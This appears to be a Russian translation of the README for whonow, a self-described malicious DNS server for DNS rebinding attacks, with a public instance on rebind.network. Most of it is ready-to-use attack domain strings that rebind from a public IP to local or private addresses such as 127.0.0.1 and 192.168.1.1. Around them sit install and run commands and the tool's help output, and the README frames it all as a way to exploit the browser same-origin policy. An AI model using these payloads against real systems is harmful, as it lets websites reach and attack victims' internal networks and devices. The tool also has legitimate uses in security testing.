
«Вредоносный» DNS-сервер для выполнения атак DNS Rebinding на лету (публичный экземпляр работает на rebind.network:53)
Вредоносный DNS-сервер для выполнения атак DNS Rebinding на лету. whonow позволяет динамически задавать DNS-ответы и правила перепривязки с помощью самих запросов к доменам.
# respond to DNS queries for this domain with 34.192.228.43 the first time
# it is requested and then 192.168.1.1 every time after that
A.34.192.228.43.1time.192.168.1.1.forever.rebind.network
# respond first with 34.192.228.43, then 192.168.1.1 the next five times,
# and then start all over again (1, then 5, forever...)
A.34.192.228.43.1time.192.168.1.1.5times.repeat.rebind.network
Что замечательно в динамических правилах DNS Rebinding, так это то, что вам не нужно поднимать собственный вредоносный DNS-сервер, чтобы начать эксплуатировать политику одинакового источника браузера. Вместо этого все могут использовать один и тот же публичный сервер whonow, работающий на порту 53 rebind.network.
Примечание: Вам следует включать UUID (например, a06a5856-1fff-4415-9aa2-823230b05826) в качестве поддомена в каждый DNS-запрос к серверу . В примерах в этом README они опущены для краткости, но считайте, что запросы к должны быть . Смотрите раздел для получения дополнительной информации о том, почему это необходимо.
whonow*.rebind.network*.a06a5856-1fff-4415-9aa2-823230b05826.rebind.networkОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Это программное обеспечение предназначено только для образовательных целей. Его нельзя использовать для незаконной деятельности. Автор не несет ответственности за его использование. Не будьте мудаком.
Красота whonow в том, что вы можете определять поведение DNS-ответов через поддомены в самом доменном имени. Используя всего несколько простых ключевых слов: A, (n)times, forever и repeat, вы можете задавать сложное и мощное поведение DNS.
whonowA.<ip-address>.<rule>[.<ip-address>.<rule>[.<ip-address>.<rule>]][.uuid/random-string].example.com
A: Тип DNS-запроса. В настоящее время поддерживаются только записи A, но скоро должна появиться поддержка AAAA.<ip-address>: ipv4 (скоро ipv6) адрес, каждый октет разделён точкой (например, 192.168.1.1).<rule>: Одно из трёх правил
(n)time[s]: Количество раз, которое DNS-сервер должен ответить предыдущим IP-адресом. Принимает как формы единственного, так и множественного числа (например, 1time, 3times, 5000times).forever: Отвечать предыдущим IP-адресом бесконечно.repeat: Повторить весь набор правил с начала.[uuid/random-string]: Случайная строка, чтобы держать атаки DNS Rebinding на одни и те же IP-адреса отдельными друг от друга. Смотрите Подводные камни для дополнительной информации.example.com: Доменное имя, которое указывает на whonow-сервер, например на общедоступный экземпляр whonow на rebind.network:53.Правила можно объединять в цепочку для формирования сложного поведения ответов.
# always respond with 192.168.1.1. This isn't really DNS rebinding
# but it still works
A.192.168.1.1.forever.rebind.network
# alternate between localhost and 10.0.0.1 forever
A.127.0.0.1.1time.10.0.0.1.1time.repeat.rebind.network
# first respond with 192.168.1.1 then 192.168.1.2. Now respond 192.168.1.3 forever.
A.192.168.1.1.1time.192.168.1.2.2times.192.168.1.3.forever.rebind.network
# respond with 34.192.228.43 the first time, then whatever `whonow --default-address`
# is set to forever after that (default: 127.0.0.1)
A.34.192.228.43.1time.rebind.network
Каждая метка [поддомен] может содержать от 0 до 63 символов... Полное доменное имя не может превышать 253 символов в текстовом представлении. (из статьи DNS в Википедии)
Кроме того, количество меток/поддоменов не может превышать 127.
Каждый уникальный запрос доменного имени к whonow создаёт небольшую программу сохранения состояния в оперативной памяти сервера. При следующем запросе этого доменного имени счётчик программы увеличивается, и состояние может измениться. Все уникальные доменные имена являются собственными уникальными экземплярами программы. Чтобы избежать конфликтов с другими пользователями или случайного увеличения состояния программы вашего доменного имени, следует добавить поддомен UUID после определений правил. Этот UUID никогда не должен повторно использоваться.
# this
A.127.0.0.1.1time.10.0.0.1.1time.repeat.8f058b82-4c39-4dfe-91f7-9b07bcd7fbd4.rebind.network
# not this
A.127.0.0.1.1time.10.0.0.1.1time.repeat.rebind.network
--max-ram-domainsСостояние программы, связанное с каждым уникальным доменным именем, хранится whonow в оперативной памяти. Чтобы избежать нехватки оперативной памяти, устанавливается верхний предел количества уникальных доменов, состояние которых может одновременно управляться. По умолчанию это значение равно 10 000 000, но может быть настроено с помощью --max-ram-domains. Как только этот лимит достигнут, доменные имена и их сохранённые состояния будут удаляться в порядке их добавления (FIFO).
whonowЧтобы запустить собственный сервер whonow в облаке, используйте панель управления вашего регистратора доменных имён для настройки кастомного DNS-сервера, указывающего на ваш VPS. Затем установите whonow на этот VPS и убедитесь, что он работает на порту 53 (порт DNS по умолчанию) и что порт 53 доступен из Интернета.
# install
npm install --cli -g whonow@latest
# run it!
whonow --port 53
# you can also run it with more logging to stdout and save DNS activity to CSV
whonow --port 53 --logfile log.csv --verbose

Если это ☝ слишком хлопотно, просто используйте публичный сервер whonow, работающий на порту 53 rebind.network.🌐.
$ whonow --help
usage: whonow [-h] [-v] [-p PORT] [-d DEFAULT_ANSWER] [-b MAX_RAM_DOMAINS]
[-l LOGFILE] [-m]
A malicious DNS server for executing DNS Rebinding attacks on the fly.
Optional arguments:
-h, --help Show this help message and exit.
-v, --version Show program's version number and exit.
-p PORT, --port PORT What port to run the DNS server on (default: 53).
-d DEFAULT_ANSWER, --default-answer DEFAULT_ANSWER
The default IP address to respond with if no rule is
found (default: "127.0.0.1").
-b MAX_RAM_DOMAINS, --max-ram-domains MAX_RAM_DOMAINS
The number of domain name records to store in RAM at
once. Once the number of unique domain names queried
surpasses this number domains will be removed from
memory in the order they were requested. Domains that
have been removed in this way will have their program
state reset the next time they are queried (default:
10000000).
-l LOGFILE, --logfile LOGFILE
Log to CSV file (default: false)
-m, --verbose Log request timestamp and sender IP address to stdout
(default: false)
Сервер whonow должен быть запущен на localhost:15353 для выполнения тестов в test.js
# in one terminal
whonow -p 15353
# in another terminal
cd path/to/node_modules/whonow
npm test